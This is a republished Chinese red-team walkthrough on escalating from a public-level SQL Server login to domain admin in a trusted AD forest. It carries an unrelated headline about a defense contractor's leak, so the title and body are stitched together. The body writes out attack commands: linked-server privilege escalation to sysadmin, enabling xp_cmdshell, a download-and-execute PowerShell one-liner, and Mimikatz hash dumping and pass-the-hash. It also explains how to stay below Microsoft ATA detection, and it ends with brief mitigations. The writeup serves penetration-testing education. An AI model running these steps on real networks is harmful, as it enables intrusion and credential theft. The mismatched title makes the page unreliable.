美国国防部承包商使用亚马逊服务器,一不小心泄露了机密文件

本文涉及的产品
云数据库 RDS SQL Server,基础系列 2核4GB
RDS SQL Server Serverless,2-4RCU 50GB 3个月
推荐场景:
简介: 本文讲的是美国国防部承包商使用亚马逊服务器,一不小心泄露了机密文件,最近,我开始把玩从NetSPI看到的一个很不错的工具——PowerUpSQL。这使我对使用SQL Server的访问来攻击Active Directory(AD)环境的能力非常感兴趣,
本文讲的是 美国国防部承包商使用亚马逊服务器,一不小心泄露了机密文件最近,我开始把玩从 NetSPI 看到的一个很不错的工具—— PowerUpSQL 。这使我对使用 SQL Server 的访问来攻击 Active Directory AD )环境的能力非常感兴趣,也就是说,尽可能不要离开数据库层来实施攻击。幸运的是,在几周前的一次红军交战中,我有机会广泛的使用了 PowerUpSQL 。结果证明,在数据库层中,不仅可以枚举和攻击 双向外部信任 中的当前域,而且还可以攻击域中信任的林。现在,让我们来看看吧!

网络拓扑图

我将客户端网络以更小的规模映射到我的实验室中。我们可以访问具有public权限的SQL Server ——ops-sqlsrvone,并且只能与defensiveps.com林上的所选定的计算机进行通信。

与红军交战的战果:实践SQL Server攻击渗透信任域林

跨域林枚举

可以使用PowerUpSQL中非常有趣的模糊方法来枚举的当前域内的帐户。在我们的实验室设置中,我们知道有一个叫做defensiveps的域林与offensiveps

之间的信任关系(我们可以在这种环境中使用PowerViewnetdomGet-ADTrust)。但是PowerUpSQL不提供一种指定备用域来枚举帐户的方法。我们可以在代码中更改单个变量的值就可以使用备用域了。

与红军交战的战果:实践SQL Server攻击渗透信任域林

现在,我们就可以从位于不同林中的目标域中枚举有趣的信息。 修改$Domain变量的值后,导入PowerUpSQL模块并运行以下命令:

PS C:> Get-SQLFuzzDomainAccount -Instance ops-sqlsrvone -StartId 500 -EndId 5000

与红军交战的战果:实践SQL Server攻击渗透信任域林

很好!我们列出了目标域的用户,组,计算机等信息。

上面列举的枚举信息有助于在defensiveps域中列出所有的SQL Server。现在,模拟评估过程中遇到的网络,目前可以直接访问dps-sqlsrvdev,几个DC和一些终端服务器。所以,我们列举一下dps-sqlsrvdev

数据库登录信息

PS C:> Get-SQLFuzzServerLogin -Instance dps-sqlsrvdev

与红军交战的战果:实践SQL Server攻击渗透信任域林

请注意,我们当前的用户被列在上面的登录列表中,这就是为什么可以枚举到上述内容。我们来检查我们现有的特权

PS C:> Get-SQLServerInfo -Instance dps-sqlsrvdev

与红军交战的战果:实践SQL Server攻击渗透信任域林

没有sysadmin权限。我们可以手动检查一下(我正在使用HeidiSQL作为客户端):

与红军交战的战果:实践SQL Server攻击渗透信任域林

我们可以选择进行暴力破解攻击,因为有一些有趣的SQL Server登录信息,通常,SQL Server数据库中没有启用帐户锁定,没有人会真正看到SQL Server中的身份验证失败的日志,至少在非生产服务器中。但我们现在不会这样做。

链接服务器

我们还可以列举dps-sqlsrvdev的链接服务器。我们开始做吧:

PS C:> Get-SQLServerLink -Instance dps-sqlsrvdev

与红军交战的战果:实践SQL Server攻击渗透信任域林

很好!在我们先前列举的defensiveps域中发现一个链接服务器,dps-sqlsrvtwo

注意defensiveps域与当前数据库是有关联的。另外,请注意,即使我们在初始服务器和目标服务器上仅具有在链接中配置的权限——public权限,我们也可以在链接的数据库上运行任意SQL查询。阅读更多关于SQL Server链接黑客技术在Antti的博客找到。链接枚举也可以手动完成:

select * from master..sysservers

与红军交战的战果:实践SQL Server攻击渗透信任域林

所以,dps-sqlsrvdev已经链接到了一个服务器——dps-sqlsrvtwo

现在,要在目标服务器(dps-sqlsrvtwo)上执行查询,我们可以在上面的那个博客中Antti所建议使用的Openquery。让我们看看我们当前的用户,如果我们有sysadmin权限的话:

select * from openquery("dps-sqlsrvtwo",'select @@version')
select * from openquery("dps-sqlsrvtwo",'select SUSER_NAME()')
select * from openquery("dps-sqlsrvtwo",'select IS_SRVROLEMEMBER(''sysadmin'')')
select * from openquery("dps-sqlsrvtwo",'select IS_SRVROLEMEMBER(''public'')')

事实证明,我们只有一个拥有public权限,名为dbuser的用户,目标服务器是SQL Server 2016 SP1

现在,我们可以尝试使用PowerUpSQL的各种方法来在SQL Server上进行权限提升。问题是我们无法直接访问dps-sqlsrvtwoAFAIK,没有办法使用该工具在链接服务器上执行这些命令。所以,我们需要一个一个地手动尝试这些方法。在红军渗透评估期间,我发现一个可以在链接服务器上模拟的用户。所以,我们也在我们的实验室设置中使用它。要列出我们当前用户可以模拟的所有用户,可以使用以下SQL查询列出,该查询语句是直接从Scott博客中复制的。我们将在Openquery中使用查询,以便可以在链接的服务器上执行:

select * from openquery("dps-sqlsrvtwo",'SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ''IMPERSONATE''')

与红军交战的战果:实践SQL Server攻击渗透信任域林

看来我们可以模拟一个名为“reportsuser”的用户。但下面的命令很可能会失败:

select * from openquery("dps-sqlsrvtwo",'EXECUTE AS LOGIN = ''reportsuser'';select IS_SRVROLEMEMBER(''sysadmin'')')

为什么?因为,显然,我们的权限没有恢复到原来的'dbuser'时我们不可能使用EXECUTE AS。我也尝试WITH NO REVERT选项,但我很快意识到,它可能只有在直接发送查询到数据库时才有效。请参阅MSDN上的EXECUTE AS文档

没有好运气!那么我们来看看另一个有趣的特权提升方法—— 可信赖的数据库。阅读这篇再次由Scott发表的非常有用的博文,了解更多关于可信赖的数据库。我们可以使用以上查询 ——从上述博客中获取——来枚举目标链接服务器上的可信赖数据库:

select * from openquery("dps-sqlsrvtwo",'SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;')

与红军交战的战果:实践SQL Server攻击渗透信任域林

发现一个可信赖的数据库“reports_db”!让我们列出在服务器上拥有db_owner角色的用户:

select * from openquery("dps-sqlsrvtwo",'SELECT  members.name as ''members_name'', roles.name as ''roles_name'' FROM sys.database_role_members rolemem INNER JOIN sys.database_principals roles ON rolemem.role_principal_id = roles.principal_id INNER JOIN sys.database_principals members ON rolemem.member_principal_id = members.principal_id where roles.name = ''db_owner'' ORDER BY members.name')

与红军交战的战果:实践SQL Server攻击渗透信任域林

现在,我们来看看我们当前的用户dbuser是否是链接服务器上的reports_dbdb_owner。为了检查角色,我们尝试在reports_db数据库中创建一个可以帮助我们进行特权提升的存储过程。请注意,创建存储过程必须为已链接的服务器启用RPC Out(默认情况下未启用),但在链接服务器的情况下被启用,这是非常常见的。这个想法是创建一个作为'sa'用户的OWNER执行的存储过程。使用下面的查询来创建链接数据库上的存储过程。

EXEC ('CREATE PROCEDURE sp_escalate WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember ''dbuser'',''sysadmin''') AT "DPS-SQLSRVTWO"

我们的存储过程会使dbuser成为sysadmin。现在,我们来执行存储过程。

EXEC ('sp_escalate;SELECT IS_SRVROLEMEMBER(''sysadmin'');SELECT SUSER_NAME()') AT "DPS-SQLSRVTWO"

 

与红军交战的战果:实践SQL Server攻击渗透信任域林

很好!现在我们可以访问目标服务器上的所有数据库和表。PowerUpSQL提供了非常有用的命令来列举数据库(这是我在评估中首先用来捕获一些数据的手法),但是我们不会使用它们。有关方面的详细信息,请参阅此博文

在许多情况下,这是红军评估的主要目标之一,停留在数据库层,我们可以访问多个跨越受信任域林的SQL Server以及一点儿存储在其中的多余信息。由于我们至今没有做任何非常不寻常或有噪音的事情,因此被蓝军检测到的机会非常低。事实上,在我的实验室中,我已经建立了微软高级威胁分析(ATA),并没有发现我的攻击行为。显然,因为我们没有与域控制器通信,ATA仅查看分析DC流量。现在干掉那个ATA

既然在链接的服务器上启用了RPC Out,并且我们具有sysadmin权限,那么可以启用xp_cmdshell并实现OS命令执行!请注意,如果链接的服务器上已经启用了xp_cmdshell,那么在使用Openquery时,我们可以在RPC Out没有启用的情况下执行操作系统命令!使用下面的方式启用xp_cmdshell

EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "dps-sqlsrvtwo"

让我们看看数据库进程的权限:

与红军交战的战果:实践SQL Server攻击渗透信任域林

权限很大!看起来SQL Server进程正在运行一个域用户(sqlprodadmin)的权限。我们现在可以从dps-sqlsrvtwo中的正常域用户权限中寻找DA令牌。让我们用强大的PowerView进行DA令牌搜索。请记住,我们无法直接访问我们的链接服务器dps-sqlsrvtwo,并且我们没有在dps-sqlsrvdev上执行命令。要在dps-sqlsrvtwo上加载PowerView,我们可以使用PowerShell单线程在内存中下载并执行它。

iex (New-Object Net.WebClient).DownloadString('http://yourwebserver/PowerView.ps1')

单行代码需要编码,以便URL不会弄乱SQL查询的语法。另外,确保PowerView被修改了一部分,包括对脚本本身的函数的调用以及接收输出函数调用必须被管道传输到Out-Host

与红军交战的战果:实践SQL Server攻击渗透信任域林

我们来执行编码命令:

与红军交战的战果:实践SQL Server攻击渗透信任域林

真棒!看起来在dps-srvjump服务器上有一个可用的DA令牌,我们当前的用户有本地的管理员权限。让我们使用Invoke-Mimikatzdps-srvjump转储DA——AdministratorNTLM哈希值。

与红军交战的战果:实践SQL Server攻击渗透信任域林

最后,让我们用Invoke-Mimikatz以及抓取到的哈希在defensiveps

域控上运行一个命令。可以使我们在offensiveps域林中的机器直接访问defensiveps域的 DC

PS C:> Invoke-Mimikatz -Command '"sekurlsa::pth user:Administrator /domain:defensiveps.com /ntlm:ntlmhash /run:powershell.exe"

与红军交战的战果:实践SQL Server攻击渗透信任域林

Bingo!在目标域林中的可以访问DA

我们从一个非域管理员用户开始,并且在只停留在数据库层的同时,将其运行到多个SQL Server。我们还在一个信任的域林中拥有了域管理员/企业管理员!

缓解措施

SQL Server级别

有多个常见的缓解措施,如限制链接数据库,而不是在链接的服务器上启用RPC Out,将有所帮助。而且,限制权限的分配,甚至公共登录,这种方式也将有所帮助。我们稍后遇到的数据库是使用了域用户的权限运行。这是灾难性的做法,因为它在域级别上开启了许多特权提升的机会!记得始终需要限制数据库进程运行的权限。

域林层面

可以做出许多改进。在域管理员可以登录的机器中允许本地管理员登录是非常非常危险的,并且会导致灾难性的情况,如上所述。如果有一个需要DAs特权的机器,那就不应该有其他的管理帐号。如果有人正在寻找这样的信息,日志还会告诉你有关域林中成功的DA认证信息。此外,选择性身份验证可以有助于提升域林信任关系。

关于ATA的说明

我在所有的攻击都发生了的实验室中安装了Microsoft ATA。因为ATA是实验室机器上的新的“保安”,所以我们来讨论一下。ATA通过端口镜像查看流向DC的流量来检测异常情况。如果我们可以将自己限制在没有或与DC直接相关的最小的攻击和技术的情况下,就可以避免ATA的检测,并且仍然可以访问最有趣的机器和信息。ATARed Teamer /攻击者获得DA权限方面蓬勃发展。DA并不总是一个需要使用黄金票证/万能钥匙/证书重放攻击来实现评估的目标,除非你在你的报告中要吹嘘,当然也有绕过ATA的办法,不过当你可以避免它检测的时候为什么还要去绕过它呢。




原文发布时间为:2017年6月1日
本文作者:小二郎
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
2月前
|
存储 UED Windows
Windows服务器上大量文件迁移方案
Windows服务器上大量文件迁移方案
154 1
|
3月前
|
存储 监控 固态存储
【vSAN分布式存储服务器数据恢复】VMware vSphere vSAN 分布式存储虚拟化平台VMDK文件1KB问题数据恢复案例
在一例vSAN分布式存储故障中,因替换故障闪存盘后磁盘组失效,一台采用RAID0策略且未使用置备的虚拟机VMDK文件受损,仅余1KB大小。经分析发现,该VMDK文件与内部虚拟对象关联失效导致。恢复方案包括定位虚拟对象及组件的具体物理位置,解析分配空间,并手动重组RAID0结构以恢复数据。此案例强调了深入理解vSAN分布式存储机制的重要性,以及定制化数据恢复方案的有效性。
96 5
|
1月前
|
Python
Flask学习笔记(三):基于Flask框架上传特征值(相关数据)到服务器端并保存为txt文件
这篇博客文章是关于如何使用Flask框架上传特征值数据到服务器端,并将其保存为txt文件的教程。
31 0
Flask学习笔记(三):基于Flask框架上传特征值(相关数据)到服务器端并保存为txt文件
|
2月前
|
Java
java小工具util系列5:java文件相关操作工具,包括读取服务器路径下文件,删除文件及子文件,删除文件夹等方法
java小工具util系列5:java文件相关操作工具,包括读取服务器路径下文件,删除文件及子文件,删除文件夹等方法
54 4
|
1月前
|
前端开发 Docker 容器
主机host服务器和Docker容器之间的文件互传方法汇总
Docker 成为前端工具,可实现跨设备兼容。本文介绍主机与 Docker 容器/镜像间文件传输的三种方法:1. 构建镜像时使用 `COPY` 或 `ADD` 指令;2. 启动容器时使用 `-v` 挂载卷;3. 运行时使用 `docker cp` 命令。每种方法适用于不同场景,如静态文件打包、开发时文件同步及临时文件传输。注意权限问题、容器停止后的文件传输及性能影响。
178 0
|
3月前
|
Linux
Linux 服务器下载百度网盘文件
本教程指导如何使用 `bypy` 库从百度网盘下载文件。首先通过 `pip install bypy` 安装库,接着运行 `bypy info` 获取登录链接并完成授权,最后将文件置于指定目录并通过 `bypy downdir /Ziya-13b-v1` 命令下载至本地。
394 1
Linux 服务器下载百度网盘文件
|
3月前
|
安全 C#
【Azure 应用服务】在安全漏洞扫描中发现有泄露服务器IIS版本的情况,如何实现屏蔽服务版本号信息呢?
【Azure 应用服务】在安全漏洞扫描中发现有泄露服务器IIS版本的情况,如何实现屏蔽服务版本号信息呢?
148 1
|
3月前
|
PHP
PHP遍历文件并同步上传到服务器
在进行网站迁移时,由于原网站的图片文件过多,采用打包下载再上传的方式耗时过长,且尝试使用FTP工具从旧服务器传输至新服务器时失败。为解决此问题,特使用PHP编写了一款工具,该工具能扫描指定目录下的所有`.webp`图像文件,并将其上传至新的服务器,极大地提高了迁移效率。
105 16
|
3月前
|
存储 安全 文件存储
【服务器数据恢复】Apple苹果Xsan文件系统卷宗误操作导致文件丢失数据恢复案例
客户因误操作删除了macOS服务器上的重要图片和视频文件,需紧急恢复。Xsan文件系统作为苹果专为高负载环境设计的64位簇文件系统,在未有专门恢复工具的情况下,常规RAW恢复仅能提取小部分连续存储的小文件,且无目录结构。通过专业的数据恢复流程,包括安全挂载、阵列重组,并使用专用工具解析文件系统以恢复目录结构,最终成功恢复丢失的文件。此案例突显了Xsan文件系统的特点及其恢复难度。
38 1
|
3月前
|
数据可视化 Python
通过python建立一个web服务查看服务器上的文本、图片、视频等文件
通过python建立一个web服务查看服务器上的文本、图片、视频等文件
69 0
下一篇
无影云桌面